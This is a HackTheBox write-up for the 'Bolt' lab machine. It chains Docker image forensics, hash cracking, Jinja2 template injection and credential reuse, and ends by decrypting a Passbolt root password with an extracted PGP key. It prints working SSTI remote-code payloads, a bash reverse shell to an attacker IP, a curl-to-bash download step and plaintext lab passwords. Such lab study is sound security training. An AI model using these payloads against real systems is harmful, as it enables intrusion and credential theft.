HTB: Bolt Writeup
Bolt - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Bolt |
| OS | Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 17 Feb 2021 |
| IP Address | 10.10.11.X |
| Author | d4rkpayl0ad & TheCyberGeek |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Bolt is a medium-difficulty Linux machine that combines Docker image forensics, Server-Side Template Injection (SSTI), and Passbolt exploitation. The attack begins with discovering virtual hosts through enumeration and downloading a Docker image archive containing a Flask application. Manual extraction of the Docker layers reveals deleted SQLite databases with admin credentials, an invitation code for registration, and vulnerable source code. Registration on the demo site leads to exploiting an SSTI vulnerability in the profile update functionality, which triggers when a confirmation token email is accessed. The templating engine allows remote code execution via Jinja2 gadgets. Lateral movement to user eddie is achieved through database credential reuse found in Passbolt configuration files. Root access requires extracting a PGP private key from Chrome extension storage, cracking its passphrase, and using it to decrypt the root password stored in Passbolt’s secrets database.
TL;DR: Docker layer forensics (admin hash + invite code) → Register on demo site → SSTI via profile name in email template → RCE as www-data → Passbolt config DB password reuse → SSH as eddie → Extract PGP key from Chrome extension leveldb → Decrypt Passbolt root secret → Root shell
Reconnaissance
Port Scanning
# Quick scan for open portsnmap -p- --min-rate=1000 -T4 10.10.11.X
# Detailed service enumerationnmap -p 22,80,443 -sV -sC 10.10.11.XResults:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.380/tcp open http nginx 1.18.0 (Ubuntu)443/tcp open ssl/http nginx 1.18.0 (Ubuntu)| ssl-cert: Subject: commonName=passbolt.bolt.htbThe SSL certificate reveals the domain passbolt.bolt.htb and base domain bolt.htb.
Service Enumeration
Virtual Host Discovery
# Add discovered domains to hosts fileecho '10.10.11.X bolt.htb passbolt.bolt.htb' | sudo tee -a /etc/hosts
# Fuzz for additional virtual hostsffuf -u http://10.10.11.X -H 'Host: FUZZ.bolt.htb' \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -fs 30347Discovered Virtual Hosts:
bolt.htb- Main application sitepassbolt.bolt.htb- Passbolt password manager instancedemo.bolt.htb- Demo version of the application requiring invite codemail.bolt.htb- Roundcube webmail interface
# Add new domainsecho '10.10.11.X demo.bolt.htb mail.bolt.htb' | sudo tee -a /etc/hostsWeb Application Analysis
bolt.htb (Port 80/443):
- Custom administration web application
- Download section offers
image.tar- a Docker image file - Login page present but registration returns HTTP 500 errors
- Marketing pages for a “Bolt CMS” application
passbolt.bolt.htb (Port 443):
- Open-source password manager (Passbolt)
- Requires valid email for registration/login
- No obvious misconfigurations on the login page
demo.bolt.htb:
- Demo instance of the Bolt application
- Registration page requires an “Invite code” field (not present on main site)
mail.bolt.htb:
- Roundcube webmail interface
- Requires credentials to access
Vulnerability Assessment
Initial enumeration reveals:
- Docker image available for download - May contain sensitive data or configuration
- Multiple virtual hosts - Expanded attack surface
- Invite-only registration - Suggests invite code exists somewhere
- Integrated email system - Potential for email-based attacks
Initial Foothold
Docker Image Forensics
Downloading and Extracting the Image
# Download the Docker image from bolt.htbwget http://bolt.htb/uploads/image.tar
# Extract the tar archivemkdir image_extractcd image_extracttar -xf ../image.tarThe Docker image structure contains:
- Manifest JSON files
- Multiple layer archives (each a
layer.tarinside a hash-named directory) - Configuration metadata
Manual Layer Extraction
Since Docker and dive were not available on the jump host, manual extraction was required:
# List all layer directoriesls -la
# Each directory name is a layer hash# Extract each layer.tar to inspect contentsfor layer in */layer.tar; do dir=$(dirname "$layer") echo "Extracting $dir" cd "$dir" tar -xf layer.tar cd ..doneFinding Deleted Files - Database Discovery
Layer a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2 contained a deleted SQLite database:
cd a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2tar -xf layer.tar
# Database found in app directoryfile app/base/db.sqlite3# Output: SQLite 3.x database
# Examine database contentssqlite3 app/base/db.sqlite3
# List tables.tables# Output: User
# Dump User tableSELECT * FROM User;Discovered Credentials:
username: adminemail: admin@bolt.htbpassword: $1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.The hash format $1$ indicates MD5-crypt (hash mode 500 in hashcat).
Cracking the Admin Hash
# Save hash to fileecho '$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.' > admin.hash
# Crack with hashcat using rockyou wordlisthashcat -m 500 -a 0 admin.hash /usr/share/wordlists/rockyou.txt
# Cracked password: deadboltWhy this works: MD5-crypt is an older password hashing algorithm that’s significantly faster to brute-force than modern alternatives like bcrypt or argon2. The rockyou wordlist contains this password, making it vulnerable to dictionary attacks.
Testing Credentials
# Test on bolt.htbcurl -X POST http://bolt.htb/login \ -d "username=admin&password=deadbolt" -LLogin successful on bolt.htb. After authentication, the site reveals internal communications between users discussing:
- Security concerns about the Docker image
- Email functionality issues
- Demo site being “invite only”
Finding the Invite Code
Layer 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad contained application source code with deleted files:
cd 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789adtar -xf layer.tar
# Examine route handlerscat app/base/routes.pyCritical code section:
@blueprint.route('/register', methods=['GET', 'POST'])def register(): login_form = LoginForm(request.form) create_account_form = CreateAccountForm(request.form) if 'register' in request.form: username = request.form['username'] email = request.form['email'] code = request.form['invite_code']
# Hardcoded invite code check if code != 'XNSS-HSJW-3NGU-8XTJ': return render_template('code-500.html')
# ... registration logic continuesDiscovered invite code: XNSS-HSJW-3NGU-8XTJ
Server-Side Template Injection (SSTI)
Identifying the Vulnerability
Further examination of home/routes.py reveals a dangerous template rendering pattern:
@blueprint.route('/confirm/changes/<token>')def confirm_changes(token): """Confirmation Token""" try: email = ts.loads(token, salt="changes-confirm-key", max_age=86400) except: abort(404) user = User.query.filter_by(username=email).first_or_404() name = user.profile_update
# VULNERABILITY: User input directly interpolated into template template = open('templates/emails/update-name.html', 'r').read() msg = Message( recipients=[f'{user.email}'], sender = 'support@example.com', reply_to = 'support@example.com', subject = "Your profile changes have been confirmed." ) msg.html = render_template_string(template % name) # SSTI here mail.send(msg)Why this is vulnerable: The template % name line performs string interpolation BEFORE Jinja2 template rendering. When combined with render_template_string(), this allows injection of Jinja2 template directives that will be evaluated server-side.
Registering an Account
# Register on demo.bolt.htb with discovered invite codecurl -X POST https://demo.bolt.htb/register \ -d "username=pwn0r&email=pwn0r@bolt.htb&invite_code=XNSS-HSJW-3NGU-8XTJ&password=Password123!" \ -L -kImportant discovery: The same credentials work on mail.bolt.htb (Roundcube), allowing access to the email account to retrieve confirmation tokens.
Exploiting SSTI for RCE
Step 1: Test for SSTI
Update profile name to {{ 7*7 }} via the web interface. Access Roundcube to read the confirmation email. Click the confirmation link and check if the email body shows 49 instead of {{ 7*7 }}, confirming template evaluation.
Step 2: Achieve Remote Code Execution
The SSTI payload must navigate through Jinja2’s context to reach OS functions. The following payload chain works:
# SSTI payload breakdown:# self._TemplateReference__context = Access template context# .cycler = Built-in Jinja2 function# .__init__ = Constructor method# .__globals__ = Global namespace (contains 'os' module)# .os.popen() = Execute shell command# .read() = Return command output
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}Step 3: Establish Reverse Shell
# On attacker machine - create payloadecho 'bash -c "bash -i >& /dev/tcp/10.10.15.180/9001 0>&1"' > index.html
# Start HTTP serverpython3 -m http.server 8000
# Start netcat listenernc -lvnp 9001Update profile name via web UI to:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('curl 10.10.15.180:8000/index.html|bash').read() }}Step 4: Retrieve Confirmation Token
Log into Roundcube at mail.bolt.htb with pwn0r@bolt.htb:Password123!. The confirmation email contains a link like:
https://demo.bolt.htb/confirm/changes/<TOKEN>Extract the token from the email body using Roundcube’s web interface or AJAX calls.
Step 5: Trigger the Payload
# Access the confirmation endpoint to trigger template renderingcurl https://demo.bolt.htb/confirm/changes/<TOKEN> -kReverse shell received as www-data:
www-data@bolt:/var/www/demo$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)Privilege Escalation
Lateral Movement to Eddie
Discovering Passbolt Database Credentials
# Stabilize shellpython3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xterm# Press Ctrl+Zstty raw -echo; fg
# Enumerate web application configurationls -la /etc/passbolt/cat /etc/passbolt/passbolt.phpDiscovered credentials in /etc/passbolt/passbolt.php:
// Database configuration.'Datasources' => [ 'default' => [ 'host' => 'localhost', 'port' => '3306', 'username' => 'passbolt', 'password' => 'rT2;jW7<eY8!dX8}pQ8%', // Database password 'database' => 'passboltdb', ],],Password Reuse Attack
# Test database password against system userssu - eddiePassword: rT2;jW7<eY8!dX8}pQ8%# Success!
eddie@bolt:~$ iduid=1001(eddie) gid=1001(eddie) groups=1001(eddie)
# Retrieve user flageddie@bolt:~$ cat user.txt<redacted>Why this works: Poor password hygiene often leads to credential reuse. The Passbolt database password was reused as eddie’s system account password, allowing immediate lateral movement via SSH or su.
Privilege Escalation to Root
Enumerating Eddie’s Environment
# Check maileddie@bolt:~$ cat /var/mail/eddieEmail content from Clark:
From: Clark Griswold <clark@bolt.htb>Subject: Important Security Update
Eddie,
Please download the Passbolt browser extension and use it to access the password manager.I've shared the root credentials with you for the security audit.
There's a private key you'll need - check your Chrome profile.
-ClarkExtracting PGP Private Key from Chrome Extension
# Locate Chrome extension datafind /home/eddie -name "*.log" -type f 2>/dev/null | grep -i chrome
# Chrome extensions store data in LevelDB format# Search for PGP key patterns in leveldb logscd /home/eddie/.config/google-chrome/Default/Extensions/<extension-id>
# Search all .log files for PGP private keysgrep -r "BEGIN PGP PRIVATE KEY" .
# Found in 000003.logstrings 000003.log | grep -A 50 "BEGIN PGP PRIVATE KEY"Extracted PGP Private Key:
# The key is JSON-encoded with escaped newlinesstrings 000003.log | grep "BEGIN PGP PRIVATE\|END PGP PRIVATE" | sed 's/\\r\\n/\n/g' > eddie_private.keyThe extracted key is password-protected.
Cracking the PGP Key Passphrase
# Convert PGP key to John the Ripper formatgpg2john eddie_private.key > eddie_key.hash
# Crack the passphrasejohn --wordlist=/usr/share/wordlists/rockyou.txt eddie_key.hash
# Cracked passphrase: merrychristmasExtracting Root Password from Passbolt Database
Rather than going through the browser extension recovery flow, the root password can be extracted directly from the database:
# Connect to Passbolt databasemysql -u passbolt -p'rT2;jW7<eY8!dX8}pQ8%' passboltdb
# Enumerate tablesSHOW TABLES;
# The 'secrets' table contains encrypted passwordsSELECT * FROM secrets WHERE user_id = '<eddie_user_id>';The secrets are encrypted with Eddie’s PGP public key and can only be decrypted with the corresponding private key.
# Import the private keygpg --import eddie_private.key
# Extract encrypted secret blob from databasemysql -u passbolt -p'rT2;jW7<eY8!dX8}pQ8%' passboltdb -e \ "SELECT data FROM secrets WHERE resource_id IN (SELECT id FROM resources WHERE name LIKE '%root%')" \ -N -B > encrypted_secret.asc
# Decrypt the secretgpg --decrypt encrypted_secret.asc# Enter passphrase: merrychristmasDecrypted root password: Z(2rmxsNW(Z?3=p/9s
Gaining Root Access
# Switch to rooteddie@bolt:~$ su -Password: Z(2rmxsNW(Z?3=p/9s
root@bolt:~# iduid=0(root) gid=0(root) groups=0(root)
# Retrieve root flagroot@bolt:~# cat /root/root.txt<redacted>Attack Chain Summary
Nmap scan → SSL cert reveals bolt.htb, passbolt.bolt.htb ↓Vhost fuzzing → demo.bolt.htb, mail.bolt.htb discovered ↓Download image.tar from bolt.htb ↓Manual Docker layer extraction (tar) ↓Layer a4ea7d... → db.sqlite3 → Admin hash ↓Hashcat (MD5-crypt, mode 500) → deadbolt ↓Layer 410934... → routes.py → Invite code: XNSS-HSJW-3NGU-8XTJ ↓Register pwn0r@bolt.htb on demo.bolt.htb ↓Same creds work on mail.bolt.htb (Roundcube) ↓SSTI in profile name → Jinja2 RCE payload ↓Confirmation email → Extract token via Roundcube ↓GET /confirm/changes/<token> → RCE as www-data ↓/etc/passbolt/passbolt.php → DB password: rT2;jW7<eY8!dX8}pQ8% ↓Password reuse → SSH as eddie → user.txt ↓Chrome extension LevelDB → 000003.log → PGP private key ↓gpg2john + john → Passphrase: merrychristmas ↓Passbolt secrets table → Decrypt root password with GPG ↓su - → Root shell → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
ffuf | Virtual host fuzzing |
tar | Docker image layer extraction |
sqlite3 | Database examination |
hashcat | Password hash cracking (MD5-crypt) |
curl | HTTP requests and testing |
python3 http.server | Payload delivery |
netcat | Reverse shell listener |
mysql | Database interaction |
gpg | PGP key management and decryption |
gpg2john | Convert PGP keys to crackable format |
john | Passphrase cracking |
Key Learnings
Techniques Practiced
- Docker Image Forensics: Manual extraction and analysis of Docker layers without specialized tools (dive)
- Deleted File Recovery: Finding sensitive data in removed Docker layers that developers assumed was scrubbed
- Server-Side Template Injection (SSTI): Exploiting unsafe template rendering in Python/Jinja2 applications
- Email-Based Attack Chains: Using integrated webmail to facilitate multi-step exploitation
- Password Hash Cracking: MD5-crypt hash identification and dictionary attacks
- Credential Reuse Exploitation: Leveraging poor password hygiene for lateral movement
- PGP Key Extraction: Recovering encrypted keys from application storage (Chrome extension LevelDB)
- Passphrase Cracking: Converting and cracking password-protected PGP keys
- Password Manager Exploitation: Direct database access to decrypt stored secrets
Lessons Learned
-
Docker images should never be distributed with sensitive data, even in “deleted” layers. Each layer is immutable and preserved in the image history. Use
.dockerignore, multi-stage builds, and never include databases or secrets in any layer. -
Template engines must be used carefully. The pattern
render_template_string(template % user_input)is extremely dangerous because string interpolation happens before template compilation, allowing full SSTI. Always use proper template variable passing:render_template_string(template, name=user_input). -
MD5-crypt ($1$) is obsolete and should not be used for password storage. Modern applications should use bcrypt, scrypt, or argon2 with appropriate work factors.
-
Password reuse is a critical vulnerability. Database credentials should never match system account passwords. Use unique, randomly generated passwords for each service and account.
-
Browser extension storage is not secure. Sensitive data like PGP private keys stored in Chrome extension LevelDB logs can be extracted by anyone with filesystem access. Keys should be stored in proper keystores with OS-level protections.
-
Defense in depth matters. This machine required chaining multiple vulnerabilities (Docker forensics → SSTI → credential reuse → key extraction). Each layer could have been hardened independently.
-
Email systems in CTF contexts often serve as bridges between exploitation stages. When you find integrated email functionality, explore how to access it and what automated emails might reveal.
Proof of Ownership
User Flag (eddie): <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup - Bolt (Document No D22.100.158) by MrR3boot
- Server-Side Template Injection (SSTI) - PortSwigger Web Security Academy
- Docker Image Forensics Best Practices